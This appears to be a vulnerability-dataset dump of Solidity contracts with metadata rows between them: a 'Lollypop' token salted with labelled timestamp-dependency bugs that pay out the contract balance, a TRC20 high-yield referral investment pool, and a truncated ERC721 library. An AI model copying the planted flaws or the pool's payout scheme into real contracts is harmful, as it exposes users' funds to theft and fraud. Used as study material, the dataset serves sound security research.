address payable public owner;
uint256 bugv_tmstmp3 = block.timestamp;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
function bug_tmstmp29() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
uint256 bugv_tmstmp5 = block.timestamp;
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
}
function bug_tmstmp28 () public payable {
uint pastBlockTime_tmstmp28; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp28); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp28 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract LollypopToken is Ownable {
using SafeMath for uint256;
address winner_tmstmp38;
function play_tmstmp38(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp38 = msg.sender;}}
mapping (address => transferMapping) private _balances;
function bug_tmstmp37() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
mapping (address => mapping (address => uint256)) private _allowances;
function bug_tmstmp36 () public payable {
uint pastBlockTime_tmstmp36; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp36); // only 1 transaction per block //bug//Dependency_of_timestamp bug
pastBlockTime_tmstmp36 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
uint256 private _totalSupply;
address winner_tmstmp35;
function play_tmstmp35(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp35 = msg.sender;}}
uint256 public _maxTotalSupply;
address winner_tmstmp34;
function play_tmstmp34(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp34 = msg.sender;}}
string private _name = "Lollypop";
function bug_tmstmp33() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
string private _symbol = "Lolly";
function bug_tmstmp32 () public payable {
uint pastBlockTime_tmstmp32; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp32); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp32 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
uint8 private _decimals= 18;
address winner_tmstmp31;
function play_tmstmp31(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp31 = msg.sender;}}
uint256 public maxAgeOfToken = 365 days;
address winner_tmstmp30;
function play_tmstmp30(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp30 = msg.sender;}}
uint256 public minAgeOfToken = 1 days;
address winner_tmstmp3;
function play_tmstmp3(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp3 = msg.sender;}}
uint256 public perDayBonus = 100; // Divisible 1/100 (0.1 %)
struct transferMapping{
uint256 amount;
uint256 time;
}
constructor() public {
_maxTotalSupply = 1000000000 * 10 ** 18;
_totalSupply = 2000000 * 10 ** 18;
_balances[msg.sender].amount = _totalSupply;
_balances[msg.sender].time = now;
}
address winner_tmstmp27;
function play_tmstmp27(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp27 = msg.sender;}}
function calculateBonus(uint256 timeElasped , uint256 amount) public view returns(uint256){
uint256 totalDays = timeElasped.div(minAgeOfToken);
if(totalDays > maxAgeOfToken){
totalDays = maxAgeOfToken;
}
uint256 totalBonus = (totalDays * amount).div(perDayBonus);
return totalBonus;
}
address winner_tmstmp26;
function play_tmstmp26(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp26 = msg.sender;}}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderTimeElasped = now - (_balances[sender].time);
uint256 recipientTimeElasped = now - (_balances[recipient].time);
if(senderTimeElasped >= minAgeOfToken && (_totalSupply < _maxTotalSupply)){
uint256 bonus = calculateBonus(senderTimeElasped , balanceOf(sender));
mint(sender , bonus);
}
if(recipientTimeElasped >= minAgeOfToken && (_totalSupply < _maxTotalSupply) && sender!= recipient){
uint256 bonus = calculateBonus(recipientTimeElasped , balanceOf(recipient));
mint(recipient , bonus);
}
_balances[sender].amount = _balances[sender].amount.sub(amount);
_balances[recipient].amount = _balances[recipient].amount.add(amount);
_balances[sender].time = now;
_balances[recipient].time = now;
emit Transfer(sender, recipient, amount);
}
function bug_tmstmp25() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function name() public view returns (string memory) {
return _name;
}
function bug_tmstmp24 () public payable {
uint pastBlockTime_tmstmp24; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp24); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp24 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
function symbol() public view returns (string memory) {
return _symbol;
}
address winner_tmstmp23;
function play_tmstmp23(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp23 = msg.sender;}}
function decimals() public view returns (uint8) {
return _decimals;
}
address winner_tmstmp22;
function play_tmstmp22(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp22 = msg.sender;}}
modifier onlyLollypopAndOwner {
require(msg.sender == address(this) || msg.sender == owner);
_;
}
uint256 bugv_tmstmp4 = block.timestamp;
uint256 bugv_tmstmp2 = block.timestamp;
event Transfer(address indexed from, address indexed to, uint256 value);
uint256 bugv_tmstmp1 = block.timestamp;
event Approval(address indexed owner, address indexed spender, uint256 value);
function mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account].amount = _balances[account].amount.add(amount);
emit Transfer(address(0), account, amount);
}
function bug_tmstmp21() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function bug_tmstmp20 () public payable {
uint pastBlockTime_tmstmp20; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp20); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp20 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account].amount;
}
address winner_tmstmp2;
function play_tmstmp2(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp2 = msg.sender;}}
function timeOf(address account) public view returns (uint256) {
return _balances[account].time;
}
address winner_tmstmp19;
function play_tmstmp19(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp19 = msg.sender;}}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
address winner_tmstmp18;
function play_tmstmp18(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp18 = msg.sender;}}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
require(receivers.length == amounts.length);
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function bug_tmstmp17() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function bug_tmstmp16 () public payable {
uint pastBlockTime_tmstmp16; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp16); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp16 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
address winner_tmstmp15;
function play_tmstmp15(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp15 = msg.sender;}}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
address winner_tmstmp14;
function play_tmstmp14(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp14 = msg.sender;}}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function bug_tmstmp13() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function bug_tmstmp12 () public payable {
uint pastBlockTime_tmstmp12; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp12); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp12 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account].amount = _balances[account].amount.sub(value);
emit Transfer(account, address(0), value);
}
address winner_tmstmp11;
function play_tmstmp11(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp11 = msg.sender;}}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
address winner_tmstmp10;
function play_tmstmp10(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp10 = msg.sender;}}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
function bug_tmstmp1() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
}
| 224,107 | 1,742 |
d6a715369fccb3f21626b41c27ac3017fa6032d3b9537f6640d3f0c90dde099e
| 14,210 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TR/TRQHTZeTpHutQP2QeJkUc6CYzzXc12QCmx_RiotPlusPoolD.sol
| 4,491 | 13,616 |
//SourceUnit: RiotPoolD.sol
pragma solidity 0.5.12;
contract RiotPlusPoolD {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 1 * 1e6;
uint256 constant public BASE_PERCENT = 400;
uint256[] public REFERRAL_PERCENTS = [550, 350];
uint256 constant public MARKETING_FEE = 0;
uint256 constant public PROJECT_FEE = 0;
uint256 constant public PERCENTS_DIVIDER = 10000;
uint256 constant public BALANCE_STEP = 200000000000000000000000000*1e6;
uint256 constant public TIME_STEP = 1 days;
address internal owner;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address public marketingAddress;
address public projectAddress;
address public trc20Address;
struct Governance {
uint256 balance;
bool isExists;
}
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 totalBonus;
uint256 totalDividends;
}
mapping (address => User) internal users;
mapping (address => Governance) public governances;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
modifier onlyOwner() {
require(msg.sender == owner, "!owner");
_;
}
constructor(address marketingAddr, address projectAddr,address trc20Addr) public {
marketingAddress = marketingAddr;
projectAddress = projectAddr;
trc20Address = trc20Addr;
owner = msg.sender;
// governances[owner] = Governance(0, true);
}
function invest(uint256 inAmount,address referrer) public {
if (governances[msg.sender].isExists) {
governances[msg.sender].balance = governances[msg.sender].balance.add(inAmount);
totalInvested = totalInvested.add(inAmount);
totalDeposits = totalDeposits.add(1);
TRC20Token(trc20Address).transferFrom(msg.sender, address(this), inAmount);
return;
}
require(inAmount >= INVEST_MIN_AMOUNT, "inAmount < INVEST_MIN_AMOUNT");
TRC20Token(trc20Address).transferFrom(msg.sender, address(this), inAmount);
User storage user = users[msg.sender];
if (user.deposits.length > 0) {
withdraw();
}
TRC20Token(trc20Address).transfer(address(marketingAddress), inAmount.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
TRC20Token(trc20Address).transfer(address(projectAddress), inAmount.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, inAmount.mul(MARKETING_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER));
if (user.referrer == address(0) && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 2; i++) {
if (upline != address(0)) {
uint256 amount = inAmount.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(inAmount, 0, block.timestamp));
totalInvested = totalInvested.add(inAmount);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, inAmount);
}
// function cheese(uint256 amount) public onlyOwner {
// msg.sender.transfer(amount);
// }
function withdraw() public {
if (governances[msg.sender].isExists) {
TRC20Token(trc20Address).transfer(msg.sender, governances[msg.sender].balance);
governances[msg.sender].balance = 0;
return;
}
User storage user = users[msg.sender];
// bug
// uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(13875).div(10000)) {
if (user.deposits[i].start > user.checkpoint) {
uint256 userPercentRate = getUserPercentRateByStartedAt(msg.sender, user.deposits[i].start);
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
uint256 userPercentRate = getUserPercentRateByStartedAt(msg.sender, user.deposits[i].start);
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(13875).div(10000)) {
dividends = (user.deposits[i].amount.mul(13875).div(10000)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
user.totalDividends = user.totalDividends.add(totalAmount);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.bonus = 0;
}
// require(totalAmount > 0, "User has no dividends");
//uint256 contractBalance = address(this).balance;
uint256 contractBalance = TRC20Token(trc20Address).balanceOf(address(this));
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
TRC20Token(trc20Address).transfer(msg.sender, totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function setGovernances(address[] memory governanceAddr) public onlyOwner {
// require(governanceAddr != address(0), "governance can't be address(0)");
// require(!governances[governanceAddr].isExists, "governance can't be set");
// governances[governanceAddr] = Governance(0, true);
require(governanceAddr.length > 0, "governance can't be empty");
for (uint i = 0; i < governanceAddr.length; i++) {
require(!governances[governanceAddr[i]].isExists, "governance can't be set");
governances[governanceAddr[i]] = Governance(0, true);
}
}
function setOwner(address newOwnerAddr) public onlyOwner {
require(newOwnerAddr != address(0), "owner can't be address(0)");
owner = newOwnerAddr;
}
function getContractBalance() public view returns (uint256) {
//return address(this).balance;
return TRC20Token(trc20Address).balanceOf(address(this));
}
function getContractBalanceRate() public view returns (uint256) {
uint256 contractBalancePercent = totalInvested.div(BALANCE_STEP);
return BASE_PERCENT.add(contractBalancePercent);
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 contractBalanceRate = getContractBalanceRate();
if (isActive(userAddress)) {
uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP).mul(75);
return contractBalanceRate.add(timeMultiplier);
} else {
return contractBalanceRate;
}
}
function getUserPercentRateByStartedAt(address userAddress,uint256 startedAt) public view returns (uint256) {
//User storage user = users[userAddress];
uint256 contractBalanceRate = getContractBalanceRate();
if (isActive(userAddress)) {
// 0.000694444444444444 = 0.069%
uint256 timeMultiplier = (now.sub(startedAt)).div(TIME_STEP).mul(75);
return contractBalanceRate.add(timeMultiplier);
} else {
return contractBalanceRate;
}
}
function getUserDepositAvgRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
//uint256 totalUserPercentRate;
uint256 userDepositTotal;
uint256 dividendsTotal;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(13875).div(10000)) {
if (user.deposits[i].start > user.checkpoint) {
uint256 userPercentRate = getUserPercentRateByStartedAt(userAddress, user.deposits[i].start);
dividendsTotal = dividendsTotal.add(user.deposits[i].amount.mul(userPercentRate));
userDepositTotal = userDepositTotal.add(user.deposits[i].amount);
} else {
uint256 userPercentRate = getUserPercentRateByStartedAt(userAddress, user.checkpoint);
dividendsTotal = dividendsTotal.add(user.deposits[i].amount.mul(userPercentRate));
userDepositTotal = userDepositTotal.add(user.deposits[i].amount);
}
}
}
uint256 percentDividend = dividendsTotal.div(userDepositTotal);
if (percentDividend > 1450) {
percentDividend = 1450;
}
return percentDividend;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
// bug
// uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(13875).div(10000)) {
if (user.deposits[i].start > user.checkpoint) {
uint256 userPercentRate = getUserPercentRateByStartedAt(userAddress, user.deposits[i].start);
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
uint256 userPercentRate = getUserPercentRateByStartedAt(userAddress, user.deposits[i].start);
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(13875).div(10000)) {
dividends = (user.deposits[i].amount.mul(13875).div(10000)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralBonusTotal(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(13875).div(10000)) {
return true;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract TRC20Token {
function totalSupply() public returns (uint256 total);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
}
| 288,606 | 1,743 |
3bf9aab5f877e3990666ec6a5b7b1fbfa4450ea177df7e17988cb37202f7ddfe
| 31,109 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb6949e1bcb814cb8ac795e57518b9b89e106c86f.sol
| 5,076 | 17,601 |
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/introspection/IERC165.sol
interface IERC165 {
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721.sol
contract IERC721 is IERC165 {
event Transfer(address indexed from,
address indexed to,
uint256 indexed tokenId);
event Approval(address indexed owner,
address indexed approved,
uint256 indexed tokenId);
event ApprovalForAll(address indexed owner,
address indexed operator,
bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId)
public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator)
public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId)
public;
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes data)
public;
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol
contract IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes data)
public
returns(bytes4);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/introspection/ERC165.sol
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal _supportedInterfaces;
constructor()
public
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721.sol
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(address owner,
address operator)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId)
public
{
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes _data)
public
{
transferFrom(from, to, tokenId);
// solium-disable-next-line arg-overflow
require(_checkAndCallSafeTransfer(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(address spender,
uint256 tokenId)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
